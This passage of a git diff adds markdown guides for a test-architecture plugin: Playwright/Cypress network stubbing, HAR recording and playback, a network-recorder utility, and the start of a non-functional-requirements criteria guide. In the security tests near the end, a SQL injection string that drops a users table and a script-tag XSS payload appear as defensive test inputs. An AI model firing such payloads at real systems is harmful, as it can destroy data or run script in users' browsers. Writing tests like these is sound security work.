+**Context**: When debugging flaky tests or building deterministic mocks, capture real network traffic with HAR files. Replay them in tests for consistent, offline-capable test runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Enable HAR recording
+export default defineConfig({
+  use: {
+    // Record HAR on first run
+    recordHar: { path: './hars/', mode: 'minimal' },
+    // Or replay HAR in tests
+    // serviceWorkers: 'block',
+  },
+});
+
+// Capture HAR for specific test
+test('capture network for order flow', async ({ page, context }) => {
+  // Start recording
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: true, // Update HAR with new requests
+  });
+
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // HAR saved to ./hars/order-flow.har
+});
+
+// Replay HAR for deterministic tests (no real API needed)
+test('replay order flow from HAR', async ({ page, context }) => {
+  // Replay captured HAR
+  await context.routeFromHAR('./hars/order-flow.har', {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  // Test runs with exact recorded responses - fully deterministic
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Custom mock based on HAR insights
+test('mock order response based on HAR', async ({ page }) => {
+  // After analyzing HAR, create focused mock
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        orderId: '12345',
+        status: 'confirmed',
+        total: 99.99,
+      }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order #12345')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- HAR files capture real request/response pairs for analysis
+- `update: true` records new traffic; `update: false` replays existing
+- Replay mode makes tests fully deterministic (no upstream API needed)
+- Use HAR to understand API contracts, then create focused mocks
+
+### Example 3: Network Stub with Edge Cases
+
+**Context**: When testing error handling, timeouts, and edge cases, stub network responses to simulate failures. Test both happy path and error scenarios.
+
+**Implementation**:
+
+```typescript
+// Test happy path
+test('order succeeds with valid data', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+});
+
+// Test 500 error
+test('order fails with server error', async ({ page }) => {
+  // Listen for console errors (app should log gracefully)
+  const consoleErrors: string[] = [];
+  page.on('console', (msg) => {
+    if (msg.type() === 'error') consoleErrors.push(msg.text());
+  });
+
+  // Stub 500 error
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 500,
+      contentType: 'application/json',
+      body: JSON.stringify({ error: 'Internal Server Error' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // Assert UI shows error gracefully
+  await expect(page.getByText('Something went wrong')).toBeVisible();
+  await expect(page.getByText('Please try again')).toBeVisible();
+
+  // Verify error logged (not thrown)
+  expect(consoleErrors.some((e) => e.includes('Order failed'))).toBeTruthy();
+});
+
+// Test network timeout
+test('order times out after 10 seconds', async ({ page }) => {
+  // Stub delayed response (never resolves within timeout)
+  await page.route(
+    '**/api/orders',
+    (route) => new Promise(() => {}), // Never resolves - simulates timeout
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should show timeout message after configured timeout
+  await expect(page.getByText('Request timed out')).toBeVisible({ timeout: 15000 });
+});
+
+// Test partial data response
+test('order handles missing optional fields', async ({ page }) => {
+  await page.route('**/api/orders', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      // Missing optional fields like 'trackingNumber', 'estimatedDelivery'
+      body: JSON.stringify({ orderId: '123', status: 'confirmed' }),
+    }),
+  );
+
+  await page.goto('/checkout');
+  await page.click('[data-testid="submit-order"]');
+
+  // App should handle gracefully - no crash, shows what's available
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText('Tracking information pending')).toBeVisible();
+});
+
+// Cypress equivalents
+describe('Order Edge Cases', () => {
+  it('should handle 500 error', () => {
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Internal Server Error' },
+    }).as('orderFailed');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.wait('@orderFailed');
+    cy.contains('Something went wrong').should('be.visible');
+  });
+
+  it('should handle timeout', () => {
+    cy.intercept('POST', '**/api/orders', (req) => {
+      req.reply({ delay: 20000 }); // Delay beyond app timeout
+    }).as('orderTimeout');
+
+    cy.visit('/checkout');
+    cy.get('[data-testid="submit-order"]').click();
+    cy.contains('Request timed out', { timeout: 15000 }).should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- Stub different HTTP status codes (200, 400, 500, 503)
+- Simulate timeouts with `delay` or non-resolving promises
+- Test partial/incomplete data responses
+- Verify app handles errors gracefully (no crashes, user-friendly messages)
+
+### Example 4: Deterministic Waiting
+
+**Context**: Never use hard waits (`waitForTimeout(3000)`). Always wait for explicit signals: network responses, element state changes, or custom events.
+
+**Implementation**:
+
+```typescript
+// ✅ GOOD: Wait for response with predicate
+test('wait for specific response', async ({ page }) => {
+  const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/users') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+  const response = await responsePromise;
+
+  expect(response.status()).toBe(200);
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for multiple responses
+test('wait for all required data', async ({ page }) => {
+  const usersPromise = page.waitForResponse('**/api/users');
+  const productsPromise = page.waitForResponse('**/api/products');
+  const ordersPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto('/dashboard');
+
+  // Wait for all in parallel
+  const [users, products, orders] = await Promise.all([usersPromise, productsPromise, ordersPromise]);
+
+  expect(users.status()).toBe(200);
+  expect(products.status()).toBe(200);
+  expect(orders.status()).toBe(200);
+});
+
+// ✅ GOOD: Wait for spinner to disappear
+test('wait for loading indicator', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Wait for spinner to disappear (signals data loaded)
+  await expect(page.getByTestId('loading-spinner')).not.toBeVisible();
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ✅ GOOD: Wait for custom event (advanced)
+test('wait for custom ready event', async ({ page }) => {
+  let appReady = false;
+  page.on('console', (msg) => {
+    if (msg.text() === 'App ready') appReady = true;
+  });
+
+  await page.goto('/dashboard');
+
+  // Poll until custom condition met
+  await page.waitForFunction(() => appReady, { timeout: 10000 });
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+
+// ❌ BAD: Hard wait (arbitrary timeout)
+test('flaky hard wait example', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // WHY 3 seconds? What if slower? What if faster?
+  await expect(page.getByText('Dashboard')).toBeVisible(); // May fail if >3s
+});
+
+// Cypress equivalents
+describe('Deterministic Waiting', () => {
+  it('should wait for response', () => {
+    cy.intercept('GET', '**/api/users').as('getUsers');
+    cy.visit('/dashboard');
+    cy.wait('@getUsers').its('response.statusCode').should('eq', 200);
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  it('should wait for spinner to disappear', () => {
+    cy.visit('/dashboard');
+    cy.get('[data-testid="loading-spinner"]').should('not.exist');
+    cy.contains('Dashboard').should('be.visible');
+  });
+
+  // ❌ BAD: Hard wait
+  it('flaky hard wait', () => {
+    cy.visit('/dashboard');
+    cy.wait(3000); // NEVER DO THIS
+    cy.contains('Dashboard').should('be.visible');
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()` with URL pattern or predicate = deterministic
+- `waitForLoadState('networkidle')` = wait for all network activity to finish
+- Wait for element state changes (spinner disappears, button enabled)
+- **NEVER** use `waitForTimeout()` or `cy.wait(ms)` - always non-deterministic
+
+### Example 5: Anti-Pattern - Navigate Then Mock
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Race condition - mock registered AFTER navigation starts
+test('flaky test - navigate then mock', async ({ page }) => {
+  // Navigation starts immediately
+  await page.goto('/dashboard'); // Request to /api/users fires NOW
+
+  // Mock registered too late - request already sent
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Test randomly passes/fails depending on timing
+  await expect(page.getByText('Test User')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: No wait for response
+test('flaky test - no explicit wait', async ({ page }) => {
+  await page.route('**/api/users', (route) => route.fulfill({ status: 200, body: JSON.stringify([]) }));
+
+  await page.goto('/dashboard');
+
+  // Assertion runs immediately - may fail if response slow
+  await expect(page.getByText('No users found')).toBeVisible(); // Flaky!
+});
+
+// ❌ BAD: Generic timeout
+test('flaky test - hard wait', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(2000); // Arbitrary wait - brittle
+
+  await expect(page.getByText('Dashboard')).toBeVisible();
+});
+```
+
+**Why It Fails**:
+
+- **Mock after navigate**: Request fires during navigation, mock isn't active yet (race condition)
+- **No explicit wait**: Assertion runs before response arrives (timing-dependent)
+- **Hard waits**: Slow tests, brittle (fails if < timeout, wastes time if > timeout)
+- **Non-deterministic**: Passes locally, fails in CI (different speeds)
+
+**Better Approach**: Always intercept → trigger → await
+
+```typescript
+// ✅ GOOD: Intercept BEFORE navigate
+test('deterministic test', async ({ page }) => {
+  // Step 1: Register mock FIRST
+  await page.route('**/api/users', (route) =>
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify([{ id: 1, name: 'Test User' }]),
+    }),
+  );
+
+  // Step 2: Store response promise BEFORE trigger
+  const responsePromise = page.waitForResponse('**/api/users');
+
+  // Step 3: THEN trigger
+  await page.goto('/dashboard');
+
+  // Step 4: THEN await response
+  await responsePromise;
+
+  // Step 5: THEN assert (data is guaranteed loaded)
+  await expect(page.getByText('Test User')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Order matters: Mock → Promise → Trigger → Await → Assert
+- No race conditions: Mock is active before request fires
+- Explicit wait: Response promise ensures data loaded
+- Deterministic: Always passes if app works correctly
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (network setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Network fixture patterns
+  - `data-factories.md` - API-first setup with network
+  - `test-quality.md` - Deterministic test principles
+
+## Debugging Network Issues
+
+When network tests fail, check:
+
+1. **Timing**: Is interception registered **before** action?
+2. **URL pattern**: Does pattern match actual request URL?
+3. **Response format**: Is mocked response valid JSON/format?
+4. **Status code**: Is app checking for 200 vs 201 vs 204?
+5. **HAR file**: Capture real traffic to understand actual API contract
+
+```typescript
+// Debug network issues with logging
+test('debug network', async ({ page }) => {
+  // Log all requests
+  page.on('request', (req) => console.log('→', req.method(), req.url()));
+
+  // Log all responses
+  page.on('response', (resp) => console.log('←', resp.status(), resp.url()));
+
+  await page.goto('/dashboard');
+});
+```
+
+_Source: Murat Testing Philosophy (lines 94-137), Playwright network patterns, Cypress intercept best practices._
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-recorder.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-recorder.md
new file mode 100644
index 0000000..ca86323
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/network-recorder.md
@@ -0,0 +1,527 @@
+# Network Recorder Utility
+
+## Principle
+
+Record network traffic to HAR files during test execution, then play back from disk for offline testing. Enables frontend tests to run in complete isolation from backend services with intelligent stateful CRUD detection for realistic API behavior.
+
+## Rationale
+
+Traditional E2E tests require live backend services:
+
+- Slow (real network latency)
+- Flaky (backend instability affects tests)
+- Expensive (full stack running for UI tests)
+- Coupled (UI tests break when API changes)
+
+HAR-based recording/playback provides:
+
+- **True offline testing**: UI tests run without backend
+- **Deterministic behavior**: Same responses every time
+- **Fast execution**: No network latency
+- **Stateful mocking**: CRUD operations work naturally (not just read-only)
+- **Environment flexibility**: Map URLs for any environment
+
+## Quick Start
+
+### 1. Record Network Traffic
+
+```typescript
+// Set mode to 'record' to capture network traffic
+process.env.PW_NET_MODE = 'record';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will record all network traffic
+  await networkRecorder.setup(context);
+
+  // Your normal test code
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Network traffic is automatically saved to HAR file
+});
+```
+
+### 2. Playback Network Traffic
+
+```typescript
+// Set mode to 'playback' to use recorded traffic
+process.env.PW_NET_MODE = 'playback';
+
+test('should add, edit and delete a movie', async ({ page, context, networkRecorder }) => {
+  // Setup network recorder - it will replay from HAR file
+  await networkRecorder.setup(context);
+
+  // Same test code runs without hitting real backend!
+  await page.goto('/');
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+});
+```
+
+That's it! Your tests now run completely offline using recorded network traffic.
+
+## Pattern Examples
+
+### Example 1: Basic Record and Playback
+
+**Context**: The fundamental pattern - record traffic once, play back for all subsequent runs.
+
+**Implementation**:
+
+```typescript
+import { test } from '@seontechnologies/playwright-utils/network-recorder/fixtures';
+
+// Set mode in test file (recommended)
+process.env.PW_NET_MODE = 'playback'; // or 'record'
+
+test('CRUD operations work offline', async ({ page, context, networkRecorder }) => {
+  // Setup recorder (records or plays back based on PW_NET_MODE)
+  await networkRecorder.setup(context);
+
+  await page.goto('/');
+
+  // First time (record mode): Records all network traffic to HAR
+  // Subsequent runs (playback mode): Plays back from HAR (no backend!)
+  await page.fill('#movie-name', 'Inception');
+  await page.click('#add-movie');
+
+  // Intelligent CRUD detection makes this work offline!
+  await expect(page.getByText('Inception')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `PW_NET_MODE=record` captures traffic to HAR files
+- `PW_NET_MODE=playback` replays from HAR files
+- Set mode in test file or via environment variable
+- HAR files auto-organized by test name
+- Stateful mocking detects CRUD operations
+
+### Example 2: Complete CRUD Flow with HAR
+
+**Context**: Full create-read-update-delete flow that works completely offline.
+
+**Implementation**:
+
+```typescript
+process.env.PW_NET_MODE = 'playback';
+
+test.describe('Movie CRUD - offline with network recorder', () => {
+  test.beforeEach(async ({ page, networkRecorder, context }) => {
+    await networkRecorder.setup(context);
+    await page.goto('/');
+  });
+
+  test('should add, edit, delete movie browser-only', async ({ page, interceptNetworkCall }) => {
+    // Create
+    await page.fill('#movie-name', 'Inception');
+    await page.fill('#year', '2010');
+    await page.click('#add-movie');
+
+    // Verify create (reads from stateful HAR)
+    await expect(page.getByText('Inception')).toBeVisible();
+
+    // Update
+    await page.getByText('Inception').click();
+    await page.fill('#movie-name', "Inception Director's Cut");
+
+    const updateCall = interceptNetworkCall({
+      method: 'PUT',
+      url: '/movies/*',
+    });
+
+    await page.click('#save');
+    await updateCall; // Wait for update
+
+    // Verify update (HAR reflects state change!)
+    await page.click('#back');
+    await expect(page.getByText("Inception Director's Cut")).toBeVisible();
+
+    // Delete
+    await page.click(`[data-testid="delete-Inception Director's Cut"]`);
+
+    // Verify delete (HAR reflects removal!)
+    await expect(page.getByText("Inception Director's Cut")).not.toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Full CRUD operations work offline
+- Stateful HAR mocking tracks creates/updates/deletes
+- Combine with `interceptNetworkCall` for deterministic waits
+- First run records, subsequent runs replay
+
+### Example 3: Common Patterns
+
+**Recording Only API Calls**:
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    urlFilter: /\/api\//, // Only record API calls, ignore static assets
+  },
+});
+```
+
+**Playback with Fallback**:
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    fallback: true, // Fall back to live requests if HAR entry missing
+  },
+});
+```
+
+**Custom HAR File Location**:
+
+```typescript
+await networkRecorder.setup(context, {
+  harFile: {
+    harDir: 'recordings/api-calls',
+    baseName: 'user-journey',
+    organizeByTestFile: false, // Optional: flatten directory structure
+  },
+});
+```
+
+**Directory Organization:**
+
+- `organizeByTestFile: true` (default): `har-files/test-file-name/baseName-test-title.har`
+- `organizeByTestFile: false`: `har-files/baseName-test-title.har`
+
+### Example 4: Response Content Storage - Embed vs Attach
+
+**Context**: Choose how response content is stored in HAR files.
+
+**`embed` (Default - Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'embed', // Store content inline (default)
+  },
+});
+```
+
+**Pros:**
+
+- Single self-contained file - Easy to share, version control
+- Better for small-medium responses (API JSON, HTML pages)
+- HAR specification compliant
+
+**Cons:**
+
+- Larger HAR files
+- Not ideal for large binary content (images, videos)
+
+**`attach` (Alternative):**
+
+```typescript
+await networkRecorder.setup(context, {
+  recording: {
+    content: 'attach', // Store content separately
+  },
+});
+```
+
+**Pros:**
+
+- Smaller HAR files
+- Better for large responses (images, videos, documents)
+
+**Cons:**
+
+- Multiple files to manage
+- Harder to share
+
+**When to Use Each:**
+
+| Use `embed` (default) when          | Use `attach` when               |
+| ----------------------------------- | ------------------------------- |
+| Recording API responses (JSON, XML) | Recording large images, videos  |
+| Small to medium HTML pages          | HAR file size >50MB             |
+| You want a single, portable file    | Maximum disk efficiency needed  |
+| Sharing HAR files with team         | Working with ZIP archive output |
+
+### Example 5: Cross-Environment Compatibility (URL Mapping)
+
+**Context**: Record in dev environment, play back in CI with different base URLs.
+
+**The Problem**: HAR files contain URLs for the recording environment (e.g., `dev.example.com`). Playing back on a different environment fails.
+
+**Simple Hostname Mapping:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'preview.example.com': 'dev.example.com',
+        'staging.example.com': 'dev.example.com',
+        'localhost:3000': 'dev.example.com',
+      },
+    },
+  },
+});
+```
+
+**Pattern-Based Mapping (Recommended):**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      patterns: [
+        // Map any preview-XXXX subdomain to dev
+        { match: /preview-\d+\.example\.com/, replace: 'dev.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Custom Function:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      mapUrl: (url) => url.replace('staging.example.com', 'dev.example.com'),
+    },
+  },
+});
+```
+
+**Complex Multi-Environment Example:**
+
+```typescript
+await networkRecorder.setup(context, {
+  playback: {
+    urlMapping: {
+      hostMapping: {
+        'localhost:3000': 'admin.example.com',
+        'admin-staging.example.com': 'admin.example.com',
+        'admin.example.com': 'admin.example.com',
+      },
+      patterns: [
+        { match: /admin-\d+\.example\.com/, replace: 'admin.example.com' },
+        { match: /admin-staging-pr-\w+-\d\.example\.com/, replace: 'admin.example.com' },
+      ],
+    },
+  },
+});
+```
+
+**Benefits:**
+
+- Record once on dev, all environments map back to recordings
+- CORS headers automatically updated based on request origin
+- Debug with: `LOG_LEVEL=debug npm run test`
+
+## Why Use This Instead of Native Playwright?
+
+| Native Playwright (`routeFromHAR`) | network-recorder Utility       |
+| ---------------------------------- | ------------------------------ |
+| ~80 lines setup boilerplate        | ~5 lines total                 |
+| Manual HAR file management         | Automatic file organization    |
+| Complex setup/teardown             | Automatic cleanup via fixtures |
+| **Read-only tests only**           | **Full CRUD support**          |
+| **Stateless**                      | **Stateful mocking**           |
+| Manual URL mapping                 | Automatic environment mapping  |
+
+**The game-changer: Stateful CRUD detection**
+
+Native Playwright HAR playback is stateless - a POST create followed by GET list won't show the created item. This utility intelligently tracks CRUD operations in memory to reflect state changes, making offline tests behave like real APIs.
+
+## How Stateful CRUD Detection Works
+
+When in playback mode, the Network Recorder automatically analyzes your HAR file to detect CRUD patterns. If it finds:
+
+- Multiple GET requests to the same resource endpoint (e.g., `/movies`)
+- Mutation operations (POST, PUT, DELETE) to those resources
+- Evidence of state changes between identical requests
+
+It automatically switches from static HAR playback to an intelligent stateful mock that:
+
+- Maintains state across requests
+- Auto-generates IDs for new resources
+- Returns proper 404s for deleted resources
+- Supports polling scenarios where state changes over time
+
+**This happens automatically - no configuration needed!**
+
+## API Reference
+
+### NetworkRecorder Methods
+
+| Method               | Return Type              | Description                                   |
+| -------------------- | ------------------------ | --------------------------------------------- |
+| `setup(context)`     | `Promise<void>`          | Sets up recording/playback on browser context |
+| `cleanup()`          | `Promise<void>`          | Flushes data to disk and cleans up memory     |
+| `getContext()`       | `NetworkRecorderContext` | Gets current recorder context information     |
+| `getStatusMessage()` | `string`                 | Gets human-readable status message            |
+| `getHarStats()`      | `Promise<HarFileStats>`  | Gets HAR file statistics and metadata         |
+
+### Understanding `cleanup()`
+
+The `cleanup()` method performs memory and resource cleanup - **it does NOT delete HAR files**:
+
+**What it does:**
+
+- Flushes recorded data to disk (writes HAR file in recording mode)
+- Releases file locks
+- Clears in-memory data
+- Resets internal state
+
+**What it does NOT do:**
+
+- Delete HAR files from disk
+- Remove recorded network traffic
+- Clear browser context or cookies
+
+### Configuration Options
+
+```typescript
+type NetworkRecorderConfig = {
+  harFile?: {
+    harDir?: string; // Directory for HAR files (default: 'har-files')
+    baseName?: string; // Base name for HAR files (default: 'network-traffic')
+    organizeByTestFile?: boolean; // Organize by test file (default: true)
+  };
+
+  recording?: {
+    content?: 'embed' | 'attach'; // Response content handling (default: 'embed')
+    urlFilter?: string | RegExp; // URL filter for recording
+    update?: boolean; // Update existing HAR files (default: false)
+  };
+
+  playback?: {
+    fallback?: boolean; // Fall back to live requests (default: false)
+    urlFilter?: string | RegExp; // URL filter for playback
+    updateMode?: boolean; // Update mode during playback (default: false)
+  };
+
+  forceMode?: 'record' | 'playback' | 'disabled';
+};
+```
+
+## Environment Configuration
+
+Control the recording mode using the `PW_NET_MODE` environment variable:
+
+```bash
+# Record mode - captures network traffic to HAR files
+PW_NET_MODE=record npm run test:pw
+
+# Playback mode - replays network traffic from HAR files
+PW_NET_MODE=playback npm run test:pw
+
+# Disabled mode - no network recording/playback
+PW_NET_MODE=disabled npm run test:pw
+
+# Default behavior (when PW_NET_MODE is empty/unset) - same as disabled
+npm run test:pw
+```
+
+**Tip**: We recommend setting `process.env.PW_NET_MODE` directly in your test file for better control.
+
+## Troubleshooting
+
+### HAR File Not Found
+
+If you see "HAR file not found" errors during playback:
+
+1. Ensure you've recorded the test first with `PW_NET_MODE=record`
+2. Check the HAR file exists in the expected location (usually `har-files/`)
+3. Enable fallback mode: `playback: { fallback: true }`
+
+### Authentication and Network Recording
+
+The network recorder works seamlessly with authentication:
+
+```typescript
+test('Authenticated recording', async ({ page, context, authSession, networkRecorder }) => {
+  // First authenticate
+  await authSession.login('testuser', 'password');
+
+  // Then setup network recording with authenticated context
+  await networkRecorder.setup(context);
+
+  // Test authenticated flows
+  await page.goto('/dashboard');
+});
+```
+
+### Concurrent Test Issues
+
+The recorder includes built-in file locking for safe parallel execution. Each test gets its own HAR file based on the test name.
+
+## Integration with Other Utilities
+
+**With interceptNetworkCall (deterministic waits):**
+
+```typescript
+test('use both utilities', async ({ page, context, networkRecorder, interceptNetworkCall }) => {
+  await networkRecorder.setup(context);
+
+  const createCall = interceptNetworkCall({
+    method: 'POST',
+    url: '/api/movies',
+  });
+
+  await page.click('#add-movie');
+  await createCall; // Wait for create (works with HAR!)
+
+  // Network recorder provides playback, intercept provides determinism
+});
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and fixture patterns
+- `intercept-network-call.md` - Combine for deterministic offline tests
+- `auth-session.md` - Record authenticated traffic
+- `network-first.md` - Core pattern for intercept-before-navigate
+
+## Anti-Patterns
+
+**DON'T mix record and playback in same test:**
+
+```typescript
+process.env.PW_NET_MODE = 'record';
+// ... some test code ...
+process.env.PW_NET_MODE = 'playback'; // Don't switch mid-test
+```
+
+**DO use one mode per test:**
+
+```typescript
+process.env.PW_NET_MODE = 'playback'; // Set once at top
+
+test('my test', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context);
+  // Entire test uses playback mode
+});
+```
+
+**DON'T forget to call setup:**
+
+```typescript
+test('broken', async ({ page, networkRecorder }) => {
+  await page.goto('/'); // HAR not active!
+});
+```
+
+**DO always call setup before navigation:**
+
+```typescript
+test('correct', async ({ page, context, networkRecorder }) => {
+  await networkRecorder.setup(context); // Must setup first
+  await page.goto('/'); // Now HAR is active
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/nfr-criteria.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/nfr-criteria.md
new file mode 100644
index 0000000..33d5814
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/nfr-criteria.md
@@ -0,0 +1,670 @@
+# Non-Functional Requirements (NFR) Criteria
+
+## Principle
+
+Non-functional requirements (security, performance, reliability, maintainability) are **validated through automated tests**, not checklists. NFR assessment uses objective pass/fail criteria tied to measurable thresholds. Ambiguous requirements default to CONCERNS until clarified.
+
+## Rationale
+
+**The Problem**: Teams ship features that "work" functionally but fail under load, expose security vulnerabilities, or lack error recovery. NFRs are treated as optional "nice-to-haves" instead of release blockers.
+
+**The Solution**: Define explicit NFR criteria with automated validation. Security tests verify auth/authz and secret handling. Performance tests enforce SLO/SLA thresholds with profiling evidence. Reliability tests validate error handling, retries, and health checks. Maintainability is measured by test coverage, code duplication, and observability.
+
+**Why This Matters**:
+
+- Prevents production incidents (security breaches, performance degradation, cascading failures)
+- Provides objective release criteria (no subjective "feels fast enough")
+- Automates compliance validation (audit trail for regulated environments)
+- Forces clarity on ambiguous requirements (default to CONCERNS)
+
+## Pattern Examples
+
+### Example 1: Security NFR Validation (Auth, Secrets, OWASP)
+
+**Context**: Automated security tests enforcing authentication, authorization, and secret handling
+
+**Implementation**:
+
+```typescript
+// tests/nfr/security.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Security NFR: Authentication & Authorization', () => {
+  test('unauthenticated users cannot access protected routes', async ({ page }) => {
+    // Attempt to access dashboard without auth
+    await page.goto('/dashboard');
+
+    // Should redirect to login (not expose data)
+    await expect(page).toHaveURL(/\/login/);
+    await expect(page.getByText('Please sign in')).toBeVisible();
+
+    // Verify no sensitive data leaked in response
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('user_id');
+    expect(pageContent).not.toContain('api_key');
+  });
+
+  test('JWT tokens expire after 15 minutes', async ({ page, request }) => {
+    // Login and capture token
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('ValidPass123!');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    const token = await page.evaluate(() => localStorage.getItem('auth_token'));
+    expect(token).toBeTruthy();
+
+    // Wait 16 minutes (use mock clock in real tests)
+    await page.clock.fastForward('00:16:00');
+
+    // Token should be expired, API call should fail
+    const response = await request.get('/api/user/profile', {
+      headers: { Authorization: `Bearer ${token}` },
+    });
+
+    expect(response.status()).toBe(401);
+    const body = await response.json();
+    expect(body.error).toContain('expired');
+  });
+
+  test('passwords are never logged or exposed in errors', async ({ page }) => {
+    // Trigger login error
+    await page.goto('/login');
+    await page.getByLabel('Email').fill('test@example.com');
+    await page.getByLabel('Password').fill('WrongPassword123!');
+
+    // Monitor console for password leaks
+    const consoleLogs: string[] = [];
+    page.on('console', (msg) => consoleLogs.push(msg.text()));
+
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    // Error shown to user (generic message)
+    await expect(page.getByText('Invalid credentials')).toBeVisible();
+
+    // Verify password NEVER appears in console, DOM, or network
+    const pageContent = await page.content();
+    expect(pageContent).not.toContain('WrongPassword123!');
+    expect(consoleLogs.join('\n')).not.toContain('WrongPassword123!');
+  });
+
+  test('RBAC: users can only access resources they own', async ({ page, request }) => {
+    // Login as User A
+    const userAToken = await login(request, 'userA@example.com', 'password');
+
+    // Try to access User B's order
+    const response = await request.get('/api/orders/user-b-order-id', {
+      headers: { Authorization: `Bearer ${userAToken}` },
+    });
+
+    expect(response.status()).toBe(403); // Forbidden
+    const body = await response.json();
+    expect(body.error).toContain('insufficient permissions');
+  });
+
+  test('SQL injection attempts are blocked', async ({ page }) => {
+    await page.goto('/search');
+
+    // Attempt SQL injection
+    await page.getByPlaceholder('Search products').fill("'; DROP TABLE users; --");
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    // Should return empty results, NOT crash or expose error
+    await expect(page.getByText('No results found')).toBeVisible();
+
+    // Verify app still works (table not dropped)
+    await page.goto('/dashboard');
+    await expect(page.getByText('Welcome')).toBeVisible();
+  });
+
+  test('XSS attempts are sanitized', async ({ page }) => {
+    await page.goto('/profile/edit');
+
+    // Attempt XSS injection
+    const xssPayload = '<script>alert("XSS")</script>';
+    await page.getByLabel('Bio').fill(xssPayload);
+    await page.getByRole('button', { name: 'Save' }).click();
+
+    // Reload and verify XSS is escaped (not executed)
+    await page.reload();
+    const bio = await page.getByTestId('user-bio').textContent();
+
+    // Text should be escaped, script should NOT execute
+    expect(bio).toContain('&lt;script&gt;');
+    expect(bio).not.toContain('<script>');
+  });
+});
+
+// Helper
+async function login(request: any, email: string, password: string): Promise<string> {
+  const response = await request.post('/api/auth/login', {
+    data: { email, password },
+  });
+  const body = await response.json();
+  return body.token;
+}
+```
+
+**Key Points**:
+
+- Authentication: Unauthenticated access redirected (not exposed)
+- Authorization: RBAC enforced (403 for insufficient permissions)
+- Token expiry: JWT expires after 15 minutes (automated validation)
+- Secret handling: Passwords never logged or exposed in errors
+- OWASP Top 10: SQL injection and XSS blocked (input sanitization)
+
+**Security NFR Criteria**:
+
